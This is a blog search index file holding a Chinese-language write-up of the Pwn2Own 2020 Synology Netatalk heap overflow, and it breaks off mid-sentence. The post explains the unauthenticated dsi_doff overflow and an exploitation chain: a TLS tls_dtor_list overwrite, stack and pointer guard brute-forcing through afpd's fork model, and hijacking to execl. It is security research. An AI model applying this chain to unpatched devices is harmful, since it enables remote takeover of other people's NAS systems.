-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsearch.json
1 lines (1 loc) · 466 KB
/
search.json
1
[{"title":"Pwn2Own2020 Synology NAS Netatalk Heap Overflow Analysis","url":"/2024/09/03/Pwn2Own2020-Synology-NAS-Netatalk-Heap-Overflow-Analysis/","content":"\n### 前言\n\n在`Pwn2Own Tokyo 2020`比赛上,有`2`个团队攻破了群晖`DS418Play`型号的`NAS`设备,其中`DEVCORE`团队利用一个堆溢出漏洞在设备上实现了代码执行。根据`ZDI`的[公告](https://www.zerodayinitiative.com/advisories/ZDI-21-492/),漏洞存在于`Netatalk`组件中,在解析`DSI`结构体时由于缺乏对某个长度字段的适当校验,在后续进行拷贝时会出现堆溢出。目前群晖已发布了补丁,该漏洞的触发相对比较简单,参考`@Angelboy`的[分享](https://hitcon.org/2021/agenda/03f06675-261d-4c97-b524-33ef9cc6ccb2/%E4%BD%A0%E7%9A%84%20NAS%20%E4%B8%8D%E6%98%AF%E4%BD%A0%E7%9A%84%20NAS%20!.pdf),在本地环境中完成了对漏洞的利用。\n\n<!-- more -->\n\n### 环境准备\n\n群晖环境的搭建可参考之前的文章[《A Journey into Synology NAS 系列一: 群晖NAS介绍》](https://cq674350529.github.io/2021/08/30/A-Journey-into-Synology-NAS-%E7%B3%BB%E5%88%97%E4%B8%80-%E7%BE%A4%E6%99%96NAS%E4%BB%8B%E7%BB%8D/),这里不再赘述。根据群晖的[安全公告](https://www.synology.com/zh-hk/security/advisory/Synology_SA_20_26),`DSM` `6.2.3-25426-3`以下的版本均受该漏洞影响,由于手边有一个`DSM 6.1.7`的虚拟机,故这里基于`DSM` `6.1.7-15284`版本进行分析。\n\n另外,`HITCON CTF 2021`比赛中出了一道类似的题目`metatalk`,如果只是想复现和学习该漏洞的话,也可以基于该题目提供的`docker`环境来进行分析,相关文件及`writeup`可参考[《hitcon CTF 2021 - metatalk》](https://kileak.github.io/ctf/2021/hitcon21-metatalk/)。\n\n### AFP协议介绍\n\n[`Netatalk`](http://netatalk.sourceforge.net/)是一个免费开源的`Apple Filing Protocol(AFP)`服务程序,属于`Apple File Service(AFS)`的一部分,用来为早期的`macOS`提供文件服务,类似于`Windows`上的`Samba`。该组件在很多`NAS`设备上都存在,群晖设备上的`Netatalk`组件来源于该开源组件,并在其基础上进行了定制化修改,不过大体功能和代码与原始组件类似。\n\n`AFP`协议建立在[`Data Stream Interface(DSI)`](https://en.wikipedia.org/wiki/Data_Stream_Interface)之上,`DSI`是一个会话层,用于在`TCP`层上承载`AFP`协议的流量。`DSI`数据包的格式如下。\n\n```c\n/* What a DSI packet looks like:\n 0 32\n |-------------------------------|\n |flags |command| requestID |\n |-------------------------------|\n |error code/enclosed data offset|\n |-------------------------------|\n |total data length |\n |-------------------------------|\n |reserved field |\n |-------------------------------|\n CONVENTION: anything with a dsi_ prefix is kept in network byte order.\n*/\n\nstruct dsi_block {\n uint8_t dsi_flags; /* packet type: request or reply */\n uint8_t dsi_command; /* command */\n uint16_t dsi_requestID; /* request ID */\n union {\n uint32_t dsi_code; /* error code */\n uint32_t dsi_doff; /* data offset */\n } dsi_data;\n uint32_t dsi_len; /* total data length */\n uint32_t dsi_reserved; /* reserved field */\n};\n```\n\n其中,`dsi_command`字段可能的取值及含义如下。\n\n| Name | Code | Direction | Description |\n| --------------- | ---- | ----------- | ---------------------------------------- |\n| DSICloseSession | 1 | Both | Closes an established session |\n| DSICommand | 2 | From client | Attached payload contains an AFP command |\n| DSIGetStatus | 3 | From client | Get information about the server |\n| DSIOpenSession | 4 | From client | Establish a new session |\n| DSITickle | 5 | Both | Ensure the connection is active |\n| DSIWrite | 6 | From client | Write data to the server |\n| DSIAttention | 8 | From server | Get the attention of the client |\n\n`AFP`协议数据包的第一个字段为`command`,成功解析数据包后会根据该字段来查找对应的处理函数,部分`command`与处理函数的对应关系如下。\n\n```c\n/* AFP functions */\n#define AFP_BYTELOCK 1\n#define AFP_CLOSEVOL 2\n#define AFP_CLOSEDIR 3\n// ...\n#define AFP_LOGIN 18\n#define AFP_LOGINCONT 19\n#define AFP_LOGOUT 20\n// ...\n#define AFP_MOVE 23\n#define AFP_OPENVOL 24\n#define AFP_OPENDIR 25\n// ...\n```\n\n为了便于理解协议的交互流程,从`macOS`上访问该服务并进行抓包分析,大概的交互流程如下。首先,通过发送`DSIGetStatus`请求获取`afp server`的相关信息,比如支持的`AFP`协议版本、`UAMS`列表等,之后通过发送`DSIOpenSession`请求建立会话;会话建立之后,通过发送`DSICommand`请求执行`AFP`相关的操作,包括`FPLogin`、`FPGetUserInfo`、`FPOpenVol`等;最后通过发送`DSICloseSession`请求来结束会话。\n\n<img src=\"images/cq674350529_afp_over_dsi.png\" style=\"zoom:80%\">\n\n在了解了协议的通信格式和交互流程后,下面对漏洞进行定位和分析。\n\n### 漏洞定位和分析\n\n根据`ZDI`[公告](https://www.zerodayinitiative.com/advisories/ZDI-21-492/)中的描述信息可知,该堆溢出漏洞与`dsi_doff`字段有关。在`Netatalk`的源码中搜索与`dsi_doff`字段相关的代码,定位到`dsi_stream_receive()`中,如下。可以看到,如果`dsi header`部分的`dsi_doff`字段不为`0`,在`(1)`处会将其赋值给`dsi->cmdlen`,之后在`(2)`处会调用`dsi_stream_read()`读取`afp`数据包的内容(对应`dsi`部分的载荷),并将其保存到`dsi->commands`缓冲区中。由于读取内容的长度由`dsi->cmdlen`指定,而其值外部可控,因此猜测这里就是漏洞点。\n\n```c\nint dsi_stream_receive(DSI *dsi)\n{\n // ...\n /* read in the header */\n if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block)) \n return 0;\n // ...\n memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));\n memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));\n dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);\n memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));\n\n memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));\n dsi->clientID = ntohs(dsi->header.dsi_requestID);\n \n /* make sure we don't over-write our buffers. */\n dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);\n\n /* Receiving DSIWrite data is done in AFP function, not here */\n if (dsi->header.dsi_data.dsi_doff) {\n LOG(log_maxdebug, logtype_dsi, \"dsi_stream_receive: write request\");\n dsi->cmdlen = dsi->header.dsi_data.dsi_doff; // (1) controllable\n }\n\n if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen) // (2) heap overflow\n return 0;\n // ...\n```\n\n往前查找`dsi->commands`初始化的地方,如下。在`dsi_init_buffer()`中,调用`malloc(dsi->server_quantum))`申请堆空间。默认情况下,`dsi->server_quantum`字段的值来自于`DSI_SERVQUANT_DEF`,其值为`0x100000`,即`dsi->commands`缓冲区的大小为固定的`1M`。因此可以确定`(2)`处为漏洞触发点。\n\n> 也可以通过补丁比对的方式来定位漏洞点,对应的程序为`afpd`。\n\n```c\nstatic void dsi_init_buffer(DSI *dsi)\n{\n if ((dsi->commands = malloc(dsi->server_quantum)) == NULL) {\n // ...\n\nDSI *dsi_init(AFPObj *obj, const char *hostname, const char *address, const char *port)\n{\n DSI *dsi;\n if ((dsi = (DSI *)calloc(1, sizeof(DSI))) == NULL)\n return NULL;\n\n dsi->attn_quantum = DSI_DEFQUANT;\n dsi->server_quantum = obj->options.server_quantum;\n // ...\n\n#define DSI_SERVQUANT_DEF 0x100000L /* default server quantum (1 MB) */\n```\n\n通过查找`dsi_stream_receive()`的交叉引用,以及对`afp`相关代码的处理流程进行分析,该漏洞的触发方式如下,且无需认证:\n\n1. 发送`DSIOpenSession`请求建立一个新的会话;\n2. 会话建立成功之后,发送`DSICommand`请求并指定`dsi_doff` 为`0x1a0000`,即可触发漏洞。\n\n### 漏洞利用\n\n根据上面的分析可知,发生溢出的堆块大小为`0x100000L`,程序`afpd`使用的`glibc`版本为`2.20`,故该堆空间是通过`mmap()`进行分配,常规的一些小堆的利用方式在这里不适用。\n\n> 漏洞利用思路主要参考了`@Angelboy`的[分享](https://hitcon.org/2021/agenda/03f06675-261d-4c97-b524-33ef9cc6ccb2/%E4%BD%A0%E7%9A%84%20NAS%20%E4%B8%8D%E6%98%AF%E4%BD%A0%E7%9A%84%20NAS%20!.pdf)和`@Kileak`的[`metatalk writeup`](https://kileak.github.io/ctf/2021/hitcon21-metatalk/)。\n\n`afpd`开启的保护机制,以及运行时的部分地址空间布局如下。可以看到,`dsi->commands`的地址为`0x7ffff7edf000`,在其下方有一段大小为`0x1b000`的空间,其对应`Thread Local Storage(TLS)`,里面保存了`tls`相关的结构体、`TLS destructors`、线程局部变量和线程的`main arena`指针等信息。\n\n> `glibc TLS`的相关信息可参考[这里](https://dere.press/2020/10/18/glibc-tls/)。\n\n```shell\n$ checksec --file afpd\n Arch: amd64-64-little\n RELRO: Partial RELRO\n Stack: Canary found\n NX: NX enabled\n PIE: No PIE (0x400000)\n FORTIFY: Enabled\n\n# memory layout\n(gdb) info proc mappings\nMapped address spaces:\n Start Addr End Addr Size Offset objfile\n 0x400000 0x459000 0x59000 0x0 /usr/bin/afpd\n 0x658000 0x659000 0x1000 0x58000 /usr/bin/afpd\n 0x659000 0x65e000 0x5000 0x59000 /usr/bin/afpd\n 0x65e000 0x6c7000 0x69000 0x0 [heap]\n 0x7fffeb9be000 0x7fffec5bf000 0xc01000 0x0\n # ...\n 0x7ffff368d000 0x7ffff3828000 0x19b000 0x0 /usr/lib/libc-2.20-2014.11.so\n 0x7ffff3828000 0x7ffff3a28000 0x200000 0x19b000 /usr/lib/libc-2.20-2014.11.so\n 0x7ffff3a28000 0x7ffff3a2c000 0x4000 0x19b000 /usr/lib/libc-2.20-2014.11.so\n 0x7ffff3a2c000 0x7ffff3a2e000 0x2000 0x19f000 /usr/lib/libc-2.20-2014.11.so\n # ...\n 0x7ffff7b49000 0x7ffff7bc8000 0x7f000 0x0 /usr/lib/libatalk.so.17.0.0\n 0x7ffff7bc8000 0x7ffff7dc8000 0x200000 0x7f000 /usr/lib/libatalk.so.17.0.0\n 0x7ffff7dc8000 0x7ffff7dc9000 0x1000 0x7f000 /usr/lib/libatalk.so.17.0.0\n 0x7ffff7dc9000 0x7ffff7dcc000 0x3000 0x80000 /usr/lib/libatalk.so.17.0.0\n 0x7ffff7dcc000 0x7ffff7ddc000 0x10000 0x0\n 0x7ffff7ddc000 0x7ffff7dfd000 0x21000 0x0 /usr/lib/ld-2.20-2014.11.so\n 0x7ffff7edf000 0x7ffff7fe0000 0x101000 0x0 # <=== heap via mmap(), dsi->commands\n 0x7ffff7fe0000 0x7ffff7ffb000 0x1b000 0x0 # Thread Local Storage(TLS)\n 0x7ffff7ffb000 0x7ffff7ffc000 0x1000 0x0 [vdso]\n 0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x20000 /usr/lib/ld-2.20-2014.11.so\n 0x7ffff7ffd000 0x7ffff7fff000 0x2000 0x21000 /usr/lib/ld-2.20-2014.11.so\n 0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack]\n 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]\n```\n\n在`TLS`中,可能被用于利用的目标有很多,比如线程的`main arena`指针、`point_guard`和`tls_dtor_list`等,这里采用伪造`tls_dtor_list`的方式来实现控制流劫持。\n\n#### exit()流程分析\n\n首先看下`exit()`函数,如下,其会调用`__run_exit_handlers()`。在`__run_exit_handlers()`中,其会先调用`TLS destructors`,然后再调用所有通过`atexit/on_exit`注册的函数,这里重点关注前者。\n\n```c\n// stdlib/exit.c\nvoid exit (int status)\n{\n __run_exit_handlers (status, &__exit_funcs, true);\n}\n\n/* Call all functions registered with `atexit' and `on_exit',\n in the reverse of the order in which they were registered\n perform stdio cleanup, and terminate program execution with STATUS. */\nvoid attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp,\n bool run_list_atexit)\n{\n /* First, call the TLS destructors. */\n#ifndef SHARED\n if (&__call_tls_dtors != NULL)\n#endif\n __call_tls_dtors ();\n\n /* We do it this way to handle recursive calls to exit () made by\n the functions registered with `atexit' and `on_exit'. We call\n everyone on the list and use the status value in the last\n exit (). */\n // ...\n```\n\n在`__call_tls_dtors()`中,其会遍历`tls_dtor_list`列表,针对每个`dtor_list`,在`(5)`处调用`func(cur->obj)`。如果能伪造`tls_dtor_list`,则可以指定其`func`字段和`obj`字段,从而实现控制流劫持,且第`1`个参数可控。另外,在`(4)`处涉及到`pointer demangle`,后面会进行说明。根据`tls_dtor_list`的定义可知,其是一个带有关键字`__thread`的静态变量,而`__thread`的作用是告诉编译器将其放入`Thread Local Storage(TLS)`中,对应前面提到的`dsi->commands`下方的内存空间。\n\n```c\n// stdlib/cxa_thread_atexit_impl.c\ntypedef void (*dtor_func) (void *);\n\nstruct dtor_list\n{\n dtor_func func;\n void *obj;\n struct link_map *map;\n struct dtor_list *next;\n};\n\nstatic __thread struct dtor_list *tls_dtor_list;\nstatic __thread void *dso_symbol_cache;\nstatic __thread struct link_map *lm_cache;\n\nvoid __call_tls_dtors (void)\n{\n while (tls_dtor_list)\n {\n struct dtor_list *cur = tls_dtor_list; // (3)\n dtor_func func = cur->func;\n#ifdef PTR_DEMANGLE\n PTR_DEMANGLE (func); // (4)\n#endif\n\n tls_dtor_list = tls_dtor_list->next;\n func (cur->obj); // (5)\n // ...\n```\n\n那在实际中是如何访问`tls_dtor_list`变量的呢?查看对应`libc-2.20-2014.11.so`中`__call_tls_dtors`的代码,如下。大体流程与上面的源码类似,而`tls_dtor_list`的获取是通过调用`__tls_get_addr()`实现。\n\n```c\n__int64 _call_tls_dtors()\n{\n // ...\n result = __tls_get_addr(&stru_7FFFF3A2BD90);\n for ( i = *(_QWORD **)(result + 64); i; i = *(_QWORD **)(result + 64) )\n {\n v2 = __tls_get_addr(&stru_7FFFF3A2BD90);\n v3 = i[1];\n v4 = (void (__fastcall *)(__int64))(__readfsqword(0x30u) ^ __ROR8__(*i, 17));\n *(_QWORD *)(v2 + 64) = i[3];\n v4(v3);\n // ...\n}\n```\n\n查看`__tls_get_addr()`的实现,其会通过`THREAD_DTV()`来获取当前线程的`dtv`,最后返回`(char *) p + GET_ADDR_OFFSET`。其中,`THREAD_DTV`为定义的宏变量,对应`THREAD_GETMEM (__pd, header.dtv)`,即获取当前线程`dtv`的地址。从`THREAD_GETMEM`的定义可知,其返回的值为`[fs:xxx]`,即获取`fs`段寄存器偏移`xxx`处的值,而`xxx`对应`header.dtv`在结构体`pthread`中的偏移。\n\n```C\n// elf/dl-tls.c\n/* The generic dynamic and local dynamic model cannot be used in\n statically linked applications. */\nvoid *\n__tls_get_addr (GET_ADDR_ARGS)\n{\n dtv_t *dtv = THREAD_DTV ();\n\n if (__glibc_unlikely (dtv[0].counter != GL(dl_tls_generation)))\n return update_get_addr (GET_ADDR_PARAM);\n\n void *p = dtv[GET_ADDR_MODULE].pointer.val;\n\n if (__glibc_unlikely (p == TLS_DTV_UNALLOCATED))\n return tls_get_addr_tail (GET_ADDR_PARAM, dtv, NULL);\n\n return (char *) p + GET_ADDR_OFFSET;\n}\n\n// sysdeps/x86_64/nptl/tls.h\n/* Return the address of the dtv for the current thread. */\n# define THREAD_DTV() \\\n ({ struct pthread *__pd; \\\n THREAD_GETMEM (__pd, header.dtv); })\n\n/* Read member of the thread descriptor directly. */\n# define THREAD_GETMEM(descr, member) \\\n ({ __typeof (descr->member) __value; \\\n if (sizeof (__value) == 1) \\\n asm volatile (\"movb %%fs:%P2,%b0\" \\\n : \"=q\" (__value) \\\n : \"0\" (0), \"i\" (offsetof (struct pthread, member))); \\\n else if (sizeof (__value) == 4) \\\n asm volatile (\"movl %%fs:%P1,%0\" \\\n : \"=r\" (__value) \\\n : \"i\" (offsetof (struct pthread, member))); \\\n else \\\n { \\\n if (sizeof (__value) != 8) \\\n /* There should not be any value with a size other than 1, \\\n 4 or 8. */ \\\n abort (); \\\n \\\n asm volatile (\"movq %%fs:%P1,%q0\" \\\n : \"=r\" (__value) \\\n : \"i\" (offsetof (struct pthread, member))); \\\n } \\\n __value; })\n```\n\n结构体`pthread`的定义如下,其中`header`字段为`tcbhead_t`类型,对应的定义如下。可知,上面提到的偏移`xxx`实际上就是`dtv`字段在`tcbhead_t`结构体中的偏移,`THREAD_GETMEM`宏定义其实就是获取的`dtv`字段的值。\n\n> 在`Linux x86_64`中,`glibc`将`fs`段寄存器指向`tcbhead_t`结构体。\n\n```c\n/* Thread descriptor data structure. */\nstruct pthread\n{\n union\n {\n#if !TLS_DTV_AT_TP\n /* This overlaps the TCB as used for TLS without threads (see tls.h). */\n tcbhead_t header;\n#else\n struct\n {\n int multiple_threads;\n int gscope_flag;\n# ifndef __ASSUME_PRIVATE_FUTEX\n int private_futex;\n# endif\n } header;\n#endif\n\n// sysdeps/x86_64/nptl/tls.h\ntypedef struct\n{\n void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */\n dtv_t *dtv;\n void *self; /* Pointer to the thread descriptor. */\n int multiple_threads;\n int gscope_flag;\n uintptr_t sysinfo;\n uintptr_t stack_guard;\n uintptr_t pointer_guard;\n // ...\n} tcbhead_t;\n```\n\n在`gdb`中进行调试,如下。可以看到,`fs`寄存器的地址为`0x00007ffff7fe1780`,位于`dsi->commands`缓冲区的下方。因此,可以通过溢出覆盖`tcbhead_t`结构体,修改其中的`dtv`字段来伪造`tls_dtor_list`,从而进行控制流劫持。\n\n> 正常情况下,在`gdb`中无法查看`fs`段寄存器的值(显示为`0`),采用`pwndbg`插件中的`fsbase`命令也无效,可以通过系统调用`arch_prctl(0x1003, writable_addr)`来获取其值。其中,`0x1003`对应`ARCH_GET_FS`,`0x1004`则对应`ARCH_GET_GS`。\n\n```shell\n(gdb) info proc mappings\n # ...\n 0x7ffff7edf000 0x7ffff7fe0000 0x101000 0x0 # <=== heap via mmap(), dsi->commands\n 0x7ffff7fe0000 0x7ffff7ffb000 0x1b000 0x0 # Thread Local Storage(TLS)\n 0x7ffff7ffb000 0x7ffff7ffc000 0x1000 0x0 [vdso]\n 0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x20000 /usr/lib/ld-2.20-2014.11.so\n 0x7ffff7ffd000 0x7ffff7fff000 0x2000 0x21000 /usr/lib/ld-2.20-2014.11.so\n 0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack]\n 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]\n(gdb) x/4i $rip\n=> 0x7ffff7b751bd <dsi_stream_receive+461>: call 0x7ffff7b59d60 <dsi_stream_read@plt>\n 0x7ffff7b751c2 <dsi_stream_receive+466>: cmp rax,QWORD PTR [rbx+0x106f8]\n 0x7ffff7b751c9 <dsi_stream_receive+473>: jne 0x7ffff7b75029 <dsi_stream_receive+57>\n 0x7ffff7b751cf <dsi_stream_receive+479>: cmp DWORD PTR [rbp+0x48],0x5\n(gdb) i r $rsi\nrsi 0x7ffff7edf010 140737352953872 # dsi->commands when call dsi_stream_read()\n(gdb) x/4gx $rsi-0x10\n0x7ffff7edf000: 0x0000000000000000 0x0000000000101002\n0x7ffff7edf010: 0x0402000010000400 0x0000000080000000\n(gdb) call (int)arch_prctl(0x1003, 0x67d000) # get fs value via arch_prctl syscall, 0x67d000 is an arbitrary writable address\n(gdb) x/gx 0x67d000\n0x67d000: 0x00007ffff7fe1780 # fs value\n(gdb) x/10gx 0x00007ffff7fe1780\n0x7ffff7fe1780: 0x00007ffff7fe1780 0x00007ffff7fe2090 # tcbhead_t\n0x7ffff7fe1790: 0x00007ffff7fe1780 0x0000000000000000\n0x7ffff7fe17a0: 0x0000000000000000 0xb0f28a0309ec8500 # stack_guard\n0x7ffff7fe17b0: 0x6223ecce6a95bec7 0x0000000000000000\n0x7ffff7fe17c0: 0x0000000000000000 0x0000000000000000\n```\n\n至于如何触发`exit()`函数呢?查看`afp`相关代码的处理流程,当发送`DSICloseSession`请求时,其会调用`exit(0)`。\n\n```c\n/* -------------------------------------------\n afp over dsi. this never returns. \n*/\nvoid afp_over_dsi(AFPObj *obj)\n{\n // ...\n /* get stuck here until the end */\n while (1) {\n // ...\n /* Blocking read on the network socket */\n cmd = dsi_stream_receive(dsi);\n\n if (cmd == 0) {\n // ...\n }\n switch(cmd) {\n case DSIFUNC_CLOSE: // DSICloseSession\n LOG(log_debug, logtype_afpd, \"DSI: close session request\");\n afp_dsi_close(obj);\n LOG(log_note, logtype_afpd, \"done\");\n exit(0);\n // ...\n```\n\n按照上面的思路,可以修改`dtv`字段来伪造`tls_dtor_list`,那么在哪里伪造`tls_dtor_list`呢?即用什么地址来覆盖`dtv`字段呢?因此还需要找一块内容可控的地址空间。\n\n#### 寻找内容可控的地址空间\n\n这里再次对`afp`相关代码的处理流程进行分析。前面提到过,在发送`DSICommand`请求时,如果`AFP`协议数据包的第一个字段为`command`,成功解析数据包后会根据该字段来查找对应的处理函数。在正常流程中,会话建立后的第一个请求是`AFP FPLogin`/`AFP FPLoginExt`,以`AFP FPLogin`请求为例,会调用`afp_login()`来进行处理。\n\n在`afp_login()`中,会先获取请求中的`version`信息并进行校验,校验通过后会获取请求中的`uams`信息并查找对应的`uams`模块,查找成功后在`(6)`处会调用对应的`login()`方法。\n\n```c\nint afp_login(AFPObj *obj, char *ibuf, size_t ibuflen, char *rbuf, size_t *rbuflen)\n{\n // ...\n if (ibuflen < 2)\n return send_reply(obj, AFPERR_BADVERS );\n\n ibuf++;\n len = (unsigned char) *ibuf++;\n ibuflen -= 2;\n\n i = get_version(obj, ibuf, ibuflen, len);\n if (i)\n return send_reply(obj, i );\n\n if (ibuflen <= len)\n return send_reply(obj, AFPERR_BADUAM);\n\n ibuf += len;\n ibuflen -= len;\n\n len = (unsigned char) *ibuf++;\n ibuflen--;\n\n if (!len || len > ibuflen)\n return send_reply(obj, AFPERR_BADUAM);\n\n if (NULL == (afp_uam = auth_uamfind(UAM_SERVER_LOGIN, ibuf, len)) )\n return send_reply(obj, AFPERR_BADUAM);\n ibuf += len;\n ibuflen -= len;\n\n if (AFP_OK != (i = create_session_key(obj)) )\n return send_reply(obj, i);\n\n i = afp_uam->u.uam_login.login(obj, &pwd, ibuf, ibuflen, rbuf, rbuflen); // (6)\n\n```\n\n以`\"DHX2\"`为例,会调用`uams_dhx2`模块中的`passwd_login()`函数,如下。其中,在`(7)`处调用`uam_afpserver_option()`对`username`和`ulen`进行初始化,其内部会将`obj`结构体中的`username`数组的地址赋值给参数`username`,`username`数组的大小赋值给`ulen`。之后在`(8)`处调用`memcpy()`将请求中的数据拷贝到`username`中。而`obj`是一个全局未初始化静态变量,故其存在于程序`afpd`的`.bss`部分,由于`afpd`未开启`PIE`机制,故`obj`的地址是固定的,`username`数组的起始地址也是固定的。因此,借助`AFP FPLogin`/`AFP FPLoginExt`请求,可以往某个固定地址写入可控内容,即找到了一处内容可控的地址空间。\n\n```c\nstatic int passwd_login(void *obj, struct passwd **uam_pwd,\n char *ibuf, size_t ibuflen,\n char *rbuf, size_t *rbuflen)\n{\n char *username;\n size_t len, ulen;\n\n *rbuflen = 0;\n\n /* grab some of the options */\n if (uam_afpserver_option(obj, UAM_OPTION_USERNAME, (void *) &username, &ulen) < 0) { // (7)\n LOG(log_info, logtype_uams, \"DHX2: uam_afpserver_option didn't meet uam_option_username -- %s\",\n strerror(errno));\n return AFPERR_PARAM;\n }\n\n len = (unsigned char) *ibuf++;\n // ...\n memcpy(username, ibuf, len ); // (8)\n\n#define MAXUSERLEN 256\n\ntypedef struct AFPObj {\n const char *cmdlineconfigfile;\n int cmdlineflags;\n const void *signature;\n struct DSI *dsi;\n struct afp_options options;\n dictionary *iniconfig;\n char username[MAXUSERLEN];\n // ...\n} AFPObj;\n\n// etc/afpd/main.c\nstatic AFPObj obj;\n```\n\n#### pointer demangle\n\n在实现往某个固定地址写入可控内容后,便可以按照上述思路来伪造`tls_dtor_list`了。不过,在`__call_tls_dtors()`中还有一个小问题:在`(4)`处涉及到`pointer demangle`,在伪造`tls_dtor_list`时不能直接使用函数地址如`system()`来填充`func`字段,而是需要一个编码后的地址。\n\n> 和`glibc`的版本有关,可能在更早的`glibc`版本中这里不涉及`pointer demangle`。\n\n```c\nvoid __call_tls_dtors (void)\n{\n while (tls_dtor_list)\n {\n struct dtor_list *cur = tls_dtor_list; // (3)\n dtor_func func = cur->func;\n#ifdef PTR_DEMANGLE\n PTR_DEMANGLE (func); // (4)\n#endif\n\n tls_dtor_list = tls_dtor_list->next;\n func (cur->obj); // (5)\n // ...\n```\n\n具体地,看一下宏定义`PTR_DEMANGLE`和`PTR_MANGLE`,如下。`PTR_MANGLE(var)`的作用相当于`rol((var ^ pointer_guard), 0x11, 64)`,而`PTR_DEMANGLE(var)`相当于`ror(var, 0x11, 64) ^ pointer_guard`,而`pointer_guard`则对应`tcbhead_t`结构体中的`pointer_guard`字段。\n\n```c\n// sysdeps/unix/sysv/linux/x86_64/sysdep.h\n# define PTR_MANGLE(var) asm (\"xor %%fs:%c2, %0\\n\" \\\n \"rol $2*\" LP_SIZE \"+1, %0\" \\\n : \"=r\" (var) \\\n : \"0\" (var), \\\n \"i\" (offsetof (tcbhead_t, \\\n pointer_guard)))\n# define PTR_DEMANGLE(var) asm (\"ror $2*\" LP_SIZE \"+1, %0\\n\" \\\n \"xor %%fs:%c2, %0\" \\\n : \"=r\" (var) \\\n : \"0\" (var), \\\n \"i\" (offsetof (tcbhead_t, \\\n pointer_guard)))\n```\n\n因此,为了能够伪造`tls_dtor_list`中`func`字段,还需要想办法获取`pointer_guard`。\n\n#### stack_guard/pointer_guard泄露\n\n想要获取到`pointer_guard`,一种方式是利用信息泄露来获取,或者通过溢出覆盖的方式将`TLS`区域中的该字段修改为已知的值,这里先讨论后面一种思路。\n\n```c\n// sysdeps/x86_64/nptl/tls.h\ntypedef struct\n{\n void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */\n dtv_t *dtv;\n void *self; /* Pointer to the thread descriptor. */\n int multiple_threads;\n int gscope_flag;\n uintptr_t sysinfo;\n uintptr_t stack_guard;\n uintptr_t pointer_guard;\n // ...\n} tcbhead_t;\n```\n\n回顾下`tcbhead_t`结构体的内容,在`pointer_guard`字段前存在另一个字段`stack_guard`,这个字段正是对应`stack canary`的值。如果通过溢出的方式覆盖`pointer_guard`字段,肯定也会覆盖`stack_guard`字段。`afpd`程序启用了`stack canary`机制,在调用`dsi_stream_read()`造成溢出返回后,由于`stack canary`校验失败,会触发`___stack_chk_fail()`,程序崩溃。因此需要先想办法获取`stack_guard`。\n\n```assembly\n.text:00007FFFF7B7502B loc_7FFFF7B7502B: ; CODE XREF: dsi_stream_receive+1EA↓j\n.text:00007FFFF7B7502B mov rcx, [rsp+48h+var_30]\n.text:00007FFFF7B75030 xor rcx, fs:28h ; <=== fs:28h, 即对应tcbhead_t结构体中的stack_guard字段\n.text:00007FFFF7B75039 jnz loc_7FFFF7B75234\n.text:00007FFFF7B7503F add rsp, 20h\n.text:00007FFFF7B75043 pop rbx\n.text:00007FFFF7B75044 pop rbp\n.text:00007FFFF7B75045 pop r12\n.text:00007FFFF7B75047 pop r13\n.text:00007FFFF7B75049 pop r14\n.text:00007FFFF7B7504B retn\n; ...\n.text:00007FFFF7B75234 loc_7FFFF7B75234: ; CODE XREF: dsi_stream_receive+49↑j\n.text:00007FFFF7B75234 call ___stack_chk_fail\n```\n\n幸运地是,`afpd`程序处理会话采用了`fork`机制,利用这一机制可以泄露出`stack_guard`。具体地,针对每个新的会话,`afpd`程序会`fork`出`1`个子进程,然后交由子进程进行处理。而子进程中的`stack_guard`和`pointer_guard`等字段来自于父进程,同时子进程的崩溃对父进程没有影响。因此,可以采用类似`Blind Rop`的思路,通过逐字节覆盖`stack_guard`的方式来进行泄露:当覆盖`stack_guard`中的某个字节时,如果填充的字节与原始值相同,程序会按照正常的流程继续执行,`socket`连接正常;如果不一致则会造成后续`stack canary`校验失败,触发`___stack_chk_fail()`,程序崩溃,`socket`连接被关闭。基于这一差异,结合`afpd`的`fork`机制,可以按字节逐位对`stack_guard`进行爆破,从而泄露`stack_guard`。\n\n<img src=\"images/cq674350529_stack_guard_bruteforce.png\" style=\"zoom:60%\">\n\n在获取到`stack_guard`后,可以采用类似的思路对`pointer_guard`进行泄露。不过,由于在`exit()`后续流程中只有`func`字段那里涉及到`pointer demangle`,可以通过溢出覆盖的方式直接将其修改为指定的值。\n\n> 在采用类似思路泄露`pointer_guard`时会存在一个小问题:正常情况下,`PTR_DEMANGLE(var)`的结果对应某个函数地址,而在进行爆破的过程中,只能区分出`PTR_DEMANGLE(var)`的结果为一个有效的指令地址,也就是说结果的低`2`个字节可以在一定范围内变动,比如上面汇编代码中的`0x7FFFF7B7502B`和`0x7FFFF7B75234`均为有效的指令地址。因此,爆破出的`pointer_guard`的低`2`个字节可能会存在多种可能(取决于具体的情况),不过可能的组合数应该不会太多,爆破出来后逐一尝试即可。\n\n到目前为止,所有的问题都解决了,可以采用伪造`tls_dtor_list`的方式来实现控制流劫持了,如下。其中,由于`afpd`程序中没有调用`system()`,而采用函数如`popen()`、`afprun()`等时存在其他问题,故通过`execl(\"/bin/bash\", \"bash\", \"-c\", <cmd>, 0)`来实现命令执行。虽然调用`execl()`时参数传递相对麻烦,但通过合适的布局,可使其前`5`个参数均可控。\n\n> 下图中标注的`execl_addr`仅为方便描述,实际填充的值应为`PTR_MANGLE(execl_addr)`。\n\n<img src=\"images/cq674350529_vuln_exploit_summary.png\" style=\"zoom:75%\">\n\n### 小结\n\n本文基于群晖`DSM` 